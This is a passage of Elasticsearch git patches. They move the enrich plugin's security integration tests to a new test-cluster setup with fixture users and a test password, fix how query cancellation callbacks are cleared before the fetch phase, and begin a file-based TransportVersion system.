     private List<String> cleanupPipelines = new ArrayList<>();
 
     /**
diff --git a/x-pack/plugin/enrich/qa/rest-with-advanced-security/src/javaRestTest/java/org/elasticsearch/xpack/enrich/EnrichAdvancedSecurityIT.java b/x-pack/plugin/enrich/src/javaRestTest/java/org/elasticsearch/test/enrich/EnrichAdvancedSecurityIT.java
similarity index 88%
rename from x-pack/plugin/enrich/qa/rest-with-advanced-security/src/javaRestTest/java/org/elasticsearch/xpack/enrich/EnrichAdvancedSecurityIT.java
rename to x-pack/plugin/enrich/src/javaRestTest/java/org/elasticsearch/test/enrich/EnrichAdvancedSecurityIT.java
index 7621e975eab22..ebd6b4444710a 100644
--- a/x-pack/plugin/enrich/qa/rest-with-advanced-security/src/javaRestTest/java/org/elasticsearch/xpack/enrich/EnrichAdvancedSecurityIT.java
+++ b/x-pack/plugin/enrich/src/javaRestTest/java/org/elasticsearch/test/enrich/EnrichAdvancedSecurityIT.java
@@ -4,13 +4,13 @@
  * 2.0; you may not use this file except in compliance with the Elastic License
  * 2.0.
  */
-package org.elasticsearch.xpack.enrich;
+package org.elasticsearch.test.enrich;
 
 import org.elasticsearch.client.Request;
-import org.elasticsearch.common.settings.SecureString;
 import org.elasticsearch.common.settings.Settings;
-import org.elasticsearch.common.util.concurrent.ThreadContext;
-import org.elasticsearch.test.enrich.CommonEnrichRestTestCase;
+import org.elasticsearch.test.cluster.ElasticsearchCluster;
+import org.elasticsearch.test.cluster.util.resource.Resource;
+import org.junit.ClassRule;
 
 import java.io.IOException;
 import java.util.Map;
@@ -20,16 +20,29 @@
 
 public class EnrichAdvancedSecurityIT extends CommonEnrichRestTestCase {
 
+    public static final String ADMIN_USER = "test_admin";
+    public static final String ENRICH_USER = "test_enrich";
+    public static final String TEST_PASSWORD = "x-pack-test-password";
+
+    @ClassRule
+    public static ElasticsearchCluster cluster = enrichCluster("trial", true).rolesFile(Resource.fromClasspath("advanced_roles.yml"))
+        .user(ADMIN_USER, TEST_PASSWORD, "superuser", true)
+        .user(ENRICH_USER, TEST_PASSWORD, "integ_test_role", false)
+        .build();
+
+    @Override
+    protected String getTestRestCluster() {
+        return cluster.getHttpAddresses();
+    }
+
     @Override
     protected Settings restClientSettings() {
-        String token = basicAuthHeaderValue("test_enrich", new SecureString("x-pack-test-password".toCharArray()));
-        return Settings.builder().put(ThreadContext.PREFIX + ".Authorization", token).build();
+        return authRequestHeaderSetting(ENRICH_USER, TEST_PASSWORD);
     }
 
     @Override
     protected Settings restAdminSettings() {
-        String token = basicAuthHeaderValue("test_admin", new SecureString("x-pack-test-password".toCharArray()));
-        return Settings.builder().put(ThreadContext.PREFIX + ".Authorization", token).build();
+        return authRequestHeaderSetting(ADMIN_USER, TEST_PASSWORD);
     }
 
     public void testEnrichEnforcesDLS() throws IOException {
diff --git a/x-pack/plugin/enrich/src/javaRestTest/java/org/elasticsearch/test/enrich/EnrichIT.java b/x-pack/plugin/enrich/src/javaRestTest/java/org/elasticsearch/test/enrich/EnrichIT.java
new file mode 100644
index 0000000000000..b24e43f4c7581
--- /dev/null
+++ b/x-pack/plugin/enrich/src/javaRestTest/java/org/elasticsearch/test/enrich/EnrichIT.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+ * or more contributor license agreements. Licensed under the Elastic License
+ * 2.0; you may not use this file except in compliance with the Elastic License
+ * 2.0.
+ */
+package org.elasticsearch.test.enrich;
+
+import org.elasticsearch.test.cluster.ElasticsearchCluster;
+import org.junit.ClassRule;
+
+public class EnrichIT extends CommonEnrichRestTestCase {
+    @ClassRule
+    public static ElasticsearchCluster cluster = enrichCluster("basic", false).build();
+
+    @Override
+    protected String getTestRestCluster() {
+        return cluster.getHttpAddresses();
+    }
+}
diff --git a/x-pack/plugin/enrich/qa/rest-with-security/src/javaRestTest/java/org/elasticsearch/xpack/enrich/EnrichSecurityFailureIT.java b/x-pack/plugin/enrich/src/javaRestTest/java/org/elasticsearch/test/enrich/EnrichSecurityFailureIT.java
similarity index 53%
rename from x-pack/plugin/enrich/qa/rest-with-security/src/javaRestTest/java/org/elasticsearch/xpack/enrich/EnrichSecurityFailureIT.java
rename to x-pack/plugin/enrich/src/javaRestTest/java/org/elasticsearch/test/enrich/EnrichSecurityFailureIT.java
index 0efb3efe2928d..8d6fb67c44145 100644
--- a/x-pack/plugin/enrich/qa/rest-with-security/src/javaRestTest/java/org/elasticsearch/xpack/enrich/EnrichSecurityFailureIT.java
+++ b/x-pack/plugin/enrich/src/javaRestTest/java/org/elasticsearch/test/enrich/EnrichSecurityFailureIT.java
@@ -4,30 +4,42 @@
  * 2.0; you may not use this file except in compliance with the Elastic License
  * 2.0.
  */
-package org.elasticsearch.xpack.enrich;
+package org.elasticsearch.test.enrich;
 
 import org.elasticsearch.client.Request;
 import org.elasticsearch.client.ResponseException;
-import org.elasticsearch.common.settings.SecureString;
 import org.elasticsearch.common.settings.Settings;
-import org.elasticsearch.common.util.concurrent.ThreadContext;
-import org.elasticsearch.test.enrich.CommonEnrichRestTestCase;
+import org.elasticsearch.test.cluster.ElasticsearchCluster;
+import org.elasticsearch.test.cluster.util.resource.Resource;
 import org.elasticsearch.test.rest.ESRestTestCase;
-
-import static org.elasticsearch.xpack.core.security.authc.support.UsernamePasswordToken.basicAuthHeaderValue;
+import org.junit.ClassRule;
 
 public class EnrichSecurityFailureIT extends ESRestTestCase {
 
+    public static final String ADMIN_USER = "test_admin";
+    public static final String ENRICH_USER = "test_enrich_no_privs";
+    public static final String TEST_PASSWORD = "x-pack-test-password";
+
+    @ClassRule
+    public static ElasticsearchCluster cluster = CommonEnrichRestTestCase.enrichCluster("basic", true)
+        .rolesFile(Resource.fromClasspath("roles.yml"))
+        .user(ADMIN_USER, TEST_PASSWORD, "superuser", true)
+        .user(ENRICH_USER, TEST_PASSWORD, "enrich_no_privs", false)
+        .build();
+
+    @Override
+    protected String getTestRestCluster() {
+        return cluster.getHttpAddresses();
+    }
+
     @Override
     protected Settings restClientSettings() {
-        String token = basicAuthHeaderValue("test_enrich_no_privs", new SecureString("x-pack-test-password".toCharArray()));
-        return Settings.builder().put(ThreadContext.PREFIX + ".Authorization", token).build();
+        return CommonEnrichRestTestCase.authRequestHeaderSetting(ENRICH_USER, TEST_PASSWORD);
     }
 
     @Override
     protected Settings restAdminSettings() {
-        String token = basicAuthHeaderValue("test_admin", new SecureString("x-pack-test-password".toCharArray()));
-        return Settings.builder().put(ThreadContext.PREFIX + ".Authorization", token).build();
+        return CommonEnrichRestTestCase.authRequestHeaderSetting(ADMIN_USER, TEST_PASSWORD);
     }
 
     public void testFailure() throws Exception {
diff --git a/x-pack/plugin/enrich/qa/rest-with-security/src/javaRestTest/java/org/elasticsearch/xpack/enrich/EnrichSecurityIT.java b/x-pack/plugin/enrich/src/javaRestTest/java/org/elasticsearch/test/enrich/EnrichSecurityIT.java
similarity index 65%
rename from x-pack/plugin/enrich/qa/rest-with-security/src/javaRestTest/java/org/elasticsearch/xpack/enrich/EnrichSecurityIT.java
rename to x-pack/plugin/enrich/src/javaRestTest/java/org/elasticsearch/test/enrich/EnrichSecurityIT.java
index 1d3a1c8b93561..f65f0f4b77c5b 100644
--- a/x-pack/plugin/enrich/qa/rest-with-security/src/javaRestTest/java/org/elasticsearch/xpack/enrich/EnrichSecurityIT.java
+++ b/x-pack/plugin/enrich/src/javaRestTest/java/org/elasticsearch/test/enrich/EnrichSecurityIT.java
@@ -4,30 +4,43 @@
  * 2.0; you may not use this file except in compliance with the Elastic License
  * 2.0.
  */
-package org.elasticsearch.xpack.enrich;
+package org.elasticsearch.test.enrich;
 
 import org.elasticsearch.client.Request;
 import org.elasticsearch.client.ResponseException;
-import org.elasticsearch.common.settings.SecureString;
 import org.elasticsearch.common.settings.Settings;
-import org.elasticsearch.common.util.concurrent.ThreadContext;
 import org.elasticsearch.core.Strings;
-import org.elasticsearch.test.enrich.CommonEnrichRestTestCase;
+import org.elasticsearch.test.cluster.ElasticsearchCluster;
+import org.elasticsearch.test.cluster.util.resource.Resource;
+import org.junit.ClassRule;
 
 import static org.hamcrest.CoreMatchers.containsString;
 
 public class EnrichSecurityIT extends CommonEnrichRestTestCase {
 
+    public static final String ADMIN_USER = "test_admin";
+    public static final String ENRICH_USER = "test_enrich";
+    public static final String TEST_PASSWORD = "x-pack-test-password";
+
+    @ClassRule
+    public static ElasticsearchCluster cluster = enrichCluster("basic", true).rolesFile(Resource.fromClasspath("roles.yml"))
+        .user(ADMIN_USER, TEST_PASSWORD, "superuser", true)
+        .user(ENRICH_USER, TEST_PASSWORD, "enrich_user,integ_test_role", false)
+        .build();
+
+    @Override
+    protected String getTestRestCluster() {
+        return cluster.getHttpAddresses();
+    }
+
     @Override
     protected Settings restClientSettings() {
-        String token = basicAuthHeaderValue("test_enrich", new SecureString("x-pack-test-password".toCharArray()));
-        return Settings.builder().put(ThreadContext.PREFIX + ".Authorization", token).build();
+        return authRequestHeaderSetting(ENRICH_USER, TEST_PASSWORD);
     }
 
     @Override
     protected Settings restAdminSettings() {
-        String token = basicAuthHeaderValue("test_admin", new SecureString("x-pack-test-password".toCharArray()));
-        return Settings.builder().put(ThreadContext.PREFIX + ".Authorization", token).build();
+        return authRequestHeaderSetting(ADMIN_USER, TEST_PASSWORD);
     }
 
     public void testInsufficientPermissionsOnNonExistentIndex() throws Exception {
diff --git a/x-pack/plugin/enrich/qa/rest-with-advanced-security/roles.yml b/x-pack/plugin/enrich/src/javaRestTest/resources/advanced_roles.yml
similarity index 100%
rename from x-pack/plugin/enrich/qa/rest-with-advanced-security/roles.yml
rename to x-pack/plugin/enrich/src/javaRestTest/resources/advanced_roles.yml
diff --git a/x-pack/plugin/enrich/qa/rest-with-security/roles.yml b/x-pack/plugin/enrich/src/javaRestTest/resources/roles.yml
similarity index 100%
rename from x-pack/plugin/enrich/qa/rest-with-security/roles.yml
rename to x-pack/plugin/enrich/src/javaRestTest/resources/roles.yml
diff --git a/x-pack/plugin/enrich/qa/rest/src/yamlRestTest/java/org/elasticsearch/xpack/enrich/EnrichRestIT.java b/x-pack/plugin/enrich/src/yamlRestTest/java/org/elasticsearch/xpack/enrich/EnrichRestIT.java
similarity index 59%
rename from x-pack/plugin/enrich/qa/rest/src/yamlRestTest/java/org/elasticsearch/xpack/enrich/EnrichRestIT.java
rename to x-pack/plugin/enrich/src/yamlRestTest/java/org/elasticsearch/xpack/enrich/EnrichRestIT.java
index 98b4ad024639e..761977ba65d98 100644
--- a/x-pack/plugin/enrich/qa/rest/src/yamlRestTest/java/org/elasticsearch/xpack/enrich/EnrichRestIT.java
+++ b/x-pack/plugin/enrich/src/yamlRestTest/java/org/elasticsearch/xpack/enrich/EnrichRestIT.java
@@ -9,11 +9,26 @@
 
 import com.carrotsearch.randomizedtesting.annotations.ParametersFactory;
 
+import org.elasticsearch.test.cluster.ElasticsearchCluster;
+import org.elasticsearch.test.cluster.local.distribution.DistributionType;
 import org.elasticsearch.test.rest.yaml.ClientYamlTestCandidate;
 import org.elasticsearch.test.rest.yaml.ESClientYamlSuiteTestCase;
+import org.junit.ClassRule;
 
 public class EnrichRestIT extends ESClientYamlSuiteTestCase {
 
+    @ClassRule
+    public static ElasticsearchCluster cluster = ElasticsearchCluster.local()
+        .distribution(DistributionType.DEFAULT)
+        .setting("xpack.security.enabled", "false")
+        .setting("xpack.license.self_generated.type", "basic")
+        .build();
+
+    @Override
+    protected String getTestRestCluster() {
+        return cluster.getHttpAddresses();
+    }
+
     public EnrichRestIT(final ClientYamlTestCandidate testCandidate) {
         super(testCandidate);
     }
@@ -22,5 +37,4 @@ public EnrichRestIT(final ClientYamlTestCandidate testCandidate) {
     public static Iterable<Object[]> parameters() throws Exception {
         return createParameters();
     }
-
 }

From 4433c6e49e6d5bed36716e2d4b4725ad6f6029ee Mon Sep 17 00:00:00 2001
From: Matteo Piergiovanni <134913285+piergm@users.noreply.github.com>
Date: Fri, 25 Jul 2025 16:15:24 +0200
Subject: [PATCH 235/299] Fix missing removal of query cancellation callback in
 QueryPhase (#130279) (#131809)

When a search targets a single shard, the fetch phase is executed in the same roundtrip as the query phase. In that case the search context is reused across phases, and the cancellation runnables registered to the searcher are reused. This is incorrect as the search timeout check should not be applied to the fetch phase, or it will make fetching partial results unfeasible. For instance if the query phase times out, the fetch phase will time out as well and there won't be partial results. If the query phase does not time out, but the fetch phase does, the latter will return a different set of results compared to those expected which will lead to unexpected situations like an array index out of bound exception.

This commit clears the cancellation runnables ahead of running the fetch phase in the same rountrip as query and performs their registration once again, without the timeout checks which are never applied to the fetch phase.

Closes #130071

Co-authored-by: jessepeixoto <jessepeixoto@gmail.com>
---
 docs/changelog/130279.yaml                    |  5 ++++
 .../elasticsearch/search/SearchService.java   | 11 +++++++++
 .../search/internal/ContextIndexSearcher.java |  5 ++++
 .../internal/ContextIndexSearcherTests.java   | 23 +++++++++++++++++++
 4 files changed, 44 insertions(+)
 create mode 100644 docs/changelog/130279.yaml

diff --git a/docs/changelog/130279.yaml b/docs/changelog/130279.yaml
new file mode 100644
index 0000000000000..d3d51e5f88bf6
--- /dev/null
+++ b/docs/changelog/130279.yaml
@@ -0,0 +1,5 @@
+pr: 130279
+summary: Fix missing removal of query cancellation callback in QueryPhase
+area: Search
+type: bug
+issues: [130071]
diff --git a/server/src/main/java/org/elasticsearch/search/SearchService.java b/server/src/main/java/org/elasticsearch/search/SearchService.java
index d485b53e7e409..e29cb4f87fc76 100644
--- a/server/src/main/java/org/elasticsearch/search/SearchService.java
+++ b/server/src/main/java/org/elasticsearch/search/SearchService.java
@@ -889,6 +889,17 @@ private SearchPhaseResult executeQueryPhase(ShardSearchRequest request, Cancella
             }
             if (request.numberOfShards() == 1 && (request.source() == null || request.source().rankBuilder() == null)) {
                 // we already have query results, but we can run fetch at the same time
+                // in this case we reuse the search context across search and fetch phase, hence we need to clear the cancellation
+                // checks that were applied by the query phase before running fetch. Note that the timeout checks are not applied
+                // to the fetch phase, while the cancellation checks are.
+                context.searcher().clearQueryCancellations();
+                if (context.lowLevelCancellation()) {
+                    context.searcher().addQueryCancellation(() -> {
+                        if (task != null) {
+                            task.ensureNotCancelled();
+                        }
+                    });
+                }
                 context.addFetchResult();
                 return executeFetchPhase(readerContext, context, afterQueryTime);
             } else {
diff --git a/server/src/main/java/org/elasticsearch/search/internal/ContextIndexSearcher.java b/server/src/main/java/org/elasticsearch/search/internal/ContextIndexSearcher.java
index d64eb663b409c..df9e70ba49e1a 100644
--- a/server/src/main/java/org/elasticsearch/search/internal/ContextIndexSearcher.java
+++ b/server/src/main/java/org/elasticsearch/search/internal/ContextIndexSearcher.java
@@ -187,6 +187,11 @@ public void close() {
         this.cancellable.clear();
     }
 
+    // clear all registered cancellation callbacks to prevent them from leaking into other phases
+    public void clearQueryCancellations() {
+        this.cancellable.clear();
+    }
+
     public boolean hasCancellations() {
         return this.cancellable.isEnabled();
     }
diff --git a/server/src/test/java/org/elasticsearch/search/internal/ContextIndexSearcherTests.java b/server/src/test/java/org/elasticsearch/search/internal/ContextIndexSearcherTests.java
index fe07cbf8efdfd..ce521dcc48ba5 100644
--- a/server/src/test/java/org/elasticsearch/search/internal/ContextIndexSearcherTests.java
+++ b/server/src/test/java/org/elasticsearch/search/internal/ContextIndexSearcherTests.java
@@ -400,6 +400,29 @@ private static void assertSlices(LeafSlice[] slices, int numDocs, int numThreads
         assertThat(sumDocs, equalTo(numDocs));
     }
 
+    public void testClearQueryCancellations() throws IOException {
+        Directory dir = newDirectory();
+        RandomIndexWriter w = new RandomIndexWriter(random(), dir);
+        w.addDocument(new Document());
+        DirectoryReader reader = w.getReader();
+        ContextIndexSearcher searcher = new ContextIndexSearcher(
+            reader,
+            IndexSearcher.getDefaultSimilarity(),
+            IndexSearcher.getDefaultQueryCache(),
+            IndexSearcher.getDefaultQueryCachingPolicy(),
+            true
+        );
+
+        assertFalse(searcher.hasCancellations());
+        searcher.addQueryCancellation(() -> {});
+        assertTrue(searcher.hasCancellations());
+
+        searcher.clearQueryCancellations();
+        assertFalse(searcher.hasCancellations());
+
+        IOUtils.close(reader, w, dir);
+    }
+
     public void testExitableTermsMinAndMax() throws IOException {
         Directory dir = newDirectory();
         IndexWriter w = new IndexWriter(dir, newIndexWriterConfig(null));

From bde1a247ef93d29fdd0180b689bea3adc3daddfc Mon Sep 17 00:00:00 2001
From: Jack Conradson <osjdconrad@gmail.com>
Date: Fri, 25 Jul 2025 09:27:10 -0700
Subject: [PATCH 236/299] Update `TransportVersion` to support a new model
 (#131488) (#131886)

This change updates `TransportVersion` to support our new model while still allowing the old model to
work as well giving us time to migrate.
---
 .../org/elasticsearch/TransportVersion.java   | 265 +++++++++++++++++-
 .../org/elasticsearch/TransportVersions.java  |  13 -
 .../main/resources/transport/latest/8.18.csv  |   1 +
 .../main/resources/transport/latest/8.19.csv  |   1 +
 .../main/resources/transport/latest/9.0.csv   |   1 +
 .../main/resources/transport/latest/9.1.csv   |   1 +
 .../main/resources/transport/latest/9.2.csv   |   1 +
 .../elasticsearch/TransportVersionTests.java  | 108 +++++++
 .../resources/transport/constant/manifest.txt |   5 +
 .../resources/transport/constant/test_0.csv   |   1 +
 .../resources/transport/constant/test_1.csv   |   2 +
 .../resources/transport/constant/test_2.csv   |   1 +
 .../resources/transport/constant/test_3.csv   |   1 +
 .../resources/transport/constant/test_4.csv   |   1 +
 14 files changed, 376 insertions(+), 26 deletions(-)
 create mode 100644 server/src/main/resources/transport/latest/8.18.csv
 create mode 100644 server/src/main/resources/transport/latest/8.19.csv
 create mode 100644 server/src/main/resources/transport/latest/9.0.csv
 create mode 100644 server/src/main/resources/transport/latest/9.1.csv
 create mode 100644 server/src/main/resources/transport/latest/9.2.csv
 create mode 100644 server/src/test/resources/transport/constant/manifest.txt
 create mode 100644 server/src/test/resources/transport/constant/test_0.csv
 create mode 100644 server/src/test/resources/transport/constant/test_1.csv
 create mode 100644 server/src/test/resources/transport/constant/test_2.csv
 create mode 100644 server/src/test/resources/transport/constant/test_3.csv
 create mode 100644 server/src/test/resources/transport/constant/test_4.csv

diff --git a/server/src/main/java/org/elasticsearch/TransportVersion.java b/server/src/main/java/org/elasticsearch/TransportVersion.java
index f1e20ac4bb77e..2ac4c1bf72ab6 100644
--- a/server/src/main/java/org/elasticsearch/TransportVersion.java
+++ b/server/src/main/java/org/elasticsearch/TransportVersion.java
@@ -15,19 +15,35 @@
 import org.elasticsearch.internal.VersionExtension;
 import org.elasticsearch.plugins.ExtensionLoader;
 
+import java.io.BufferedReader;
 import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.UncheckedIOException;
+import java.nio.charset.StandardCharsets;
+import java.util.ArrayList;
 import java.util.Collection;
 import java.util.Collections;
+import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
+import java.util.Objects;
 import java.util.ServiceLoader;
 import java.util.function.Function;
+import java.util.function.IntFunction;
 import java.util.stream.Collectors;
-import java.util.stream.Stream;
 
 /**
  * Represents the version of the wire protocol used to communicate between a pair of ES nodes.
  * <p>
+ * Note: We are currently transitioning to a file-based system to load and maintain transport versions. These file-based transport
+ * versions are named and are referred to as named transport versions. Named transport versions also maintain a linked list of their
+ * own patch versions to simplify transport version compatibility checks. Transport versions that continue to be loaded through
+ * {@link TransportVersions} are referred to as unnamed transport versions. Unnamed transport versions will continue being used
+ * over the wire as we only need the id for compatibility checks even against named transport versions. There are changes
+ * throughout {@link TransportVersion} that are for this transition. For now, continue to use the existing system of adding unnamed
+ * transport versions to {@link TransportVersions}.
+ * <p>
  * Prior to 8.8.0, the release {@link Version} was used everywhere. This class separates the wire protocol version from the release version.
  * <p>
  * Each transport version constant has an id number, which for versions prior to 8.9.0 is the same as the release version for backwards
@@ -57,7 +73,55 @@
  * different version value. If you need to know whether the cluster as a whole speaks a new enough {@link TransportVersion} to understand a
  * newly-added feature, use {@link org.elasticsearch.cluster.ClusterState#getMinTransportVersion}.
  */
-public record TransportVersion(int id) implements VersionId<TransportVersion> {
+public record TransportVersion(String name, int id, TransportVersion nextPatchVersion) implements VersionId<TransportVersion> {
+
+    /**
+     * Constructs an unnamed transport version.
+     */
+    public TransportVersion(int id) {
+        this(null, id, null);
+    }
+
+    /**
+     * Constructs a named transport version along with its set of compatible patch versions from x-content.
+     * This method takes in the parameter {@code latest} which is the highest valid transport version id
+     * supported by this node. Versions newer than the current transport version id for this node are discarded.
+     */
+    public static TransportVersion fromInputStream(String path, boolean nameInFile, InputStream stream, Integer latest) {
+        try (BufferedReader reader = new BufferedReader(new InputStreamReader(stream, StandardCharsets.UTF_8))) {
+            String line = reader.readLine();
+            String[] parts = line.replaceAll("\\s+", "").split(",");
+            String check;
+            while ((check = reader.readLine()) != null) {
+                if (check.replaceAll("\\s+", "").isEmpty() == false) {
+                    throw new IllegalArgumentException("invalid transport version file format [" + path + "]");
+                }
+            }
+            if (parts.length < (nameInFile ? 2 : 1)) {
+                throw new IllegalStateException("invalid transport version file format [" + path + "]");
+            }
+            String name = nameInFile ? parts[0] : path.substring(path.lastIndexOf('/') + 1, path.length() - 4);
+            List<Integer> ids = new ArrayList<>();
+            for (int i = nameInFile ? 1 : 0; i < parts.length; ++i) {
+                try {
+                    ids.add(Integer.parseInt(parts[i]));
+                } catch (NumberFormatException nfe) {
+                    throw new IllegalStateException("invalid transport version file format [" + path + "]", nfe);
+                }
+            }
+            ids.sort(Integer::compareTo);
+            TransportVersion transportVersion = null;
+            for (int idIndex = 0; idIndex < ids.size(); ++idIndex) {
+                if (ids.get(idIndex) > latest) {
+                    break;
+                }
+                transportVersion = new TransportVersion(name, ids.get(idIndex), transportVersion);
+            }
+            return transportVersion;
+        } catch (IOException ioe) {
+            throw new UncheckedIOException("cannot parse transport version [" + path + "]", ioe);
+        }
+    }
 
     public static TransportVersion readVersion(StreamInput in) throws IOException {
         return fromId(in.readVInt());
@@ -70,7 +134,7 @@ public static TransportVersion readVersion(StreamInput in) throws IOException {
      * The new instance is not registered in {@code TransportVersion.getAllVersions}.
      */
     public static TransportVersion fromId(int id) {
-        TransportVersion known = VersionsHolder.ALL_VERSIONS_MAP.get(id);
+        TransportVersion known = VersionsHolder.ALL_VERSIONS_BY_ID.get(id);
         if (known != null) {
             return known;
         }
@@ -78,6 +142,23 @@ public static TransportVersion fromId(int id) {
         return new TransportVersion(id);
     }
 
+    /**
+     * Finds a {@link TransportVersion} by its name. The parameter {@code name} must be a {@link String}
+     * direct value or validation checks will fail. {@code TransportVersion.fromName("direct_value")}.
+     * <p>
+     * This will only return the latest known named transport version for a given name and not its
+     * patch versions. Patch versions are constructed as a linked list internally and may be found by
+     * cycling through them in a loop using {@link TransportVersion#nextPatchVersion()}.
+     *
+     */
+    public static TransportVersion fromName(String name) {
+        TransportVersion known = VersionsHolder.ALL_VERSIONS_BY_NAME.get(name);
+        if (known == null) {
+            throw new IllegalStateException("unknown transport version [" + name + "]");
+        }
+        return known;
+    }
+
     public static void writeVersion(TransportVersion version, StreamOutput out) throws IOException {
         out.writeVInt(version.id);
     }
@@ -123,7 +204,7 @@ public static List<TransportVersion> getAllVersions() {
      *         in the wild (they're sent over the wire by numeric ID) but we don't know how to communicate using such versions.
      */
     public boolean isKnown() {
-        return VersionsHolder.ALL_VERSIONS_MAP.containsKey(id);
+        return VersionsHolder.ALL_VERSIONS_BY_ID.containsKey(id);
     }
 
     /**
@@ -135,7 +216,7 @@ public TransportVersion bestKnownVersion() {
             return this;
         }
         TransportVersion bestSoFar = TransportVersions.ZERO;
-        for (final var knownVersion : VersionsHolder.ALL_VERSIONS_MAP.values()) {
+        for (final var knownVersion : VersionsHolder.ALL_VERSIONS_BY_ID.values()) {
             if (knownVersion.after(bestSoFar) && knownVersion.before(this)) {
                 bestSoFar = knownVersion;
             }
@@ -171,12 +252,75 @@ public boolean isPatchFrom(TransportVersion version) {
         return onOrAfter(version) && id < version.id + 100 - (version.id % 100);
     }
 
+    /**
+     * Supports is used to determine if a named transport version is supported
+     * by a caller transport version. This will check both the latest id
+     * and all of its patch ids for compatibility. This replaces the pattern
+     * of {@code wireTV.onOrAfter(TV_FEATURE) || wireTV.isPatchFrom(TV_FEATURE_BACKPORT) || ...}
+     * for unnamed transport versions with {@code wireTV.supports(TV_FEATURE)} for named
+     * transport versions (since named versions know about their own patch versions).
+     * <p>
+     * The recommended use of this method is to declare a static final {@link TransportVersion}
+     * as part of the file that it's used in. This constant is then used in conjunction with
+     * this method to check transport version compatability.
+     * <p>
+     * An example:
+     * {@code
+     * public class ExampleClass {
+     * ...
+     *     TransportVersion TV_FEATURE = TransportVersion.fromName("tv_feature");
+     *     ...
+     *     public static ExampleClass readFrom(InputStream in) {
+     *         ...
+     *         if (in.getTransportVersion().supports(TV_FEATURE) {
+     *             // read newer values
+     *         }
+     *         ...
+     *     }
+     *     ...
+     *     public void writeTo(OutputStream out) {
+     *         ...
+     *         if (out.getTransportVersion().supports(TV_FEATURE) {
+     *             // write newer values
+     *         }
+     *         ...
+     *     }
+     *     ...
+     * }
+     * }
+     */
+    public boolean supports(TransportVersion version) {
+        if (onOrAfter(version)) {
+            return true;
+        }
+        TransportVersion nextPatchVersion = version.nextPatchVersion;
+        while (nextPatchVersion != null) {
+            if (isPatchFrom(nextPatchVersion)) {
+                return true;
+            }
+            nextPatchVersion = nextPatchVersion.nextPatchVersion;
+        }
+        return false;
+    }
+
     /**
      * Returns a string representing the Elasticsearch release version of this transport version,
      * if applicable for this deployment, otherwise the raw version number.
      */
     public String toReleaseVersion() {
-        return TransportVersions.VERSION_LOOKUP.apply(id);
+        return VersionsHolder.VERSION_LOOKUP_BY_RELEASE.apply(id);
+    }
+
+    @Override
+    public boolean equals(Object o) {
+        if (o == null || getClass() != o.getClass()) return false;
+        TransportVersion that = (TransportVersion) o;
+        return id == that.id;
+    }
+
+    @Override
+    public int hashCode() {
+        return Objects.hashCode(id);
     }
 
     @Override
@@ -184,25 +328,120 @@ public String toString() {
         return Integer.toString(id);
     }
 
+    /**
+     * This class holds various data structures for looking up known transport versions both
+     * named and unnamed. While we transition to named transport versions, this class will
+     * load and merge unnamed transport versions from {@link TransportVersions} along with
+     * named transport versions specified in a manifest file in resources.
+     */
     private static class VersionsHolder {
+
         private static final List<TransportVersion> ALL_VERSIONS;
-        private static final Map<Integer, TransportVersion> ALL_VERSIONS_MAP;
+        private static final Map<Integer, TransportVersion> ALL_VERSIONS_BY_ID;
+        private static final Map<String, TransportVersion> ALL_VERSIONS_BY_NAME;
+        private static final IntFunction<String> VERSION_LOOKUP_BY_RELEASE;
         private static final TransportVersion CURRENT;
 
         static {
+            // collect all the transport versions from server and es modules/plugins (defined in server)
+            List<TransportVersion> allVersions = new ArrayList<>(TransportVersions.DEFINED_VERSIONS);
+            Map<String, TransportVersion> allVersionsByName = loadTransportVersionsByName();
+            addTransportVersions(allVersionsByName.values(), allVersions).sort(TransportVersion::compareTo);
+
+            // set version lookup by release before adding serverless versions
+            // serverless versions should not affect release version
+            VERSION_LOOKUP_BY_RELEASE = ReleaseVersions.generateVersionsLookup(
+                TransportVersions.class,
+                allVersions.get(allVersions.size() - 1).id()
+            );
+
+            // collect all the transport versions from serverless
             Collection<TransportVersion> extendedVersions = ExtensionLoader.loadSingleton(ServiceLoader.load(VersionExtension.class))
                 .map(VersionExtension::getTransportVersions)
                 .orElse(Collections.emptyList());
+            addTransportVersions(extendedVersions, allVersions).sort(TransportVersion::compareTo);
+            for (TransportVersion version : extendedVersions) {
+                if (version.name() != null) {
+                    allVersionsByName.put(version.name(), version);
+                }
+            }
 
-            if (extendedVersions.isEmpty()) {
-                ALL_VERSIONS = TransportVersions.DEFINED_VERSIONS;
-            } else {
-                ALL_VERSIONS = Stream.concat(TransportVersions.DEFINED_VERSIONS.stream(), extendedVersions.stream()).sorted().toList();
+            // set the transport version lookups
+            ALL_VERSIONS = Collections.unmodifiableList(allVersions);
+            ALL_VERSIONS_BY_ID = ALL_VERSIONS.stream().collect(Collectors.toUnmodifiableMap(TransportVersion::id, Function.identity()));
+            ALL_VERSIONS_BY_NAME = Collections.unmodifiableMap(allVersionsByName);
+            CURRENT = ALL_VERSIONS.getLast();
+        }
+
+        private static Map<String, TransportVersion> loadTransportVersionsByName() {
+            Map<String, TransportVersion> transportVersions = new HashMap<>();
+
+            String latestLocation = "/transport/latest/" + Version.CURRENT.major + "." + Version.CURRENT.minor + ".csv";
+            int latestId = -1;
+            try (InputStream inputStream = TransportVersion.class.getResourceAsStream(latestLocation)) {
+                // this check is required until bootstrapping for the new transport versions format is completed;
+                // when load is false, we will only use the transport versions in the legacy format;
+                // load becomes false if we don't find the latest or manifest files required for the new format
+                if (inputStream != null) {
+                    TransportVersion latest = fromInputStream(latestLocation, true, inputStream, Integer.MAX_VALUE);
+                    if (latest == null) {
+                        throw new IllegalStateException(
+                            "invalid latest transport version for minor version ["
+                                + Version.CURRENT.major
+                                + "."
+                                + Version.CURRENT.minor
+                                + "]"
+                        );
+                    }
+                    latestId = latest.id();
+                }
+            } catch (IOException ioe) {
+                throw new UncheckedIOException("latest transport version file not found at [" + latestLocation + "]", ioe);
             }
 
-            ALL_VERSIONS_MAP = ALL_VERSIONS.stream().collect(Collectors.toUnmodifiableMap(TransportVersion::id, Function.identity()));
+            String manifestLocation = "/transport/constant/manifest.txt";
+            List<String> versionFileNames = null;
+            if (latestId > -1) {
+                try (InputStream inputStream = TransportVersion.class.getResourceAsStream(manifestLocation)) {
+                    if (inputStream != null) {
+                        BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream, StandardCharsets.UTF_8));
+                        versionFileNames = reader.lines().filter(line -> line.isBlank() == false).toList();
+                    }
+                } catch (IOException ioe) {
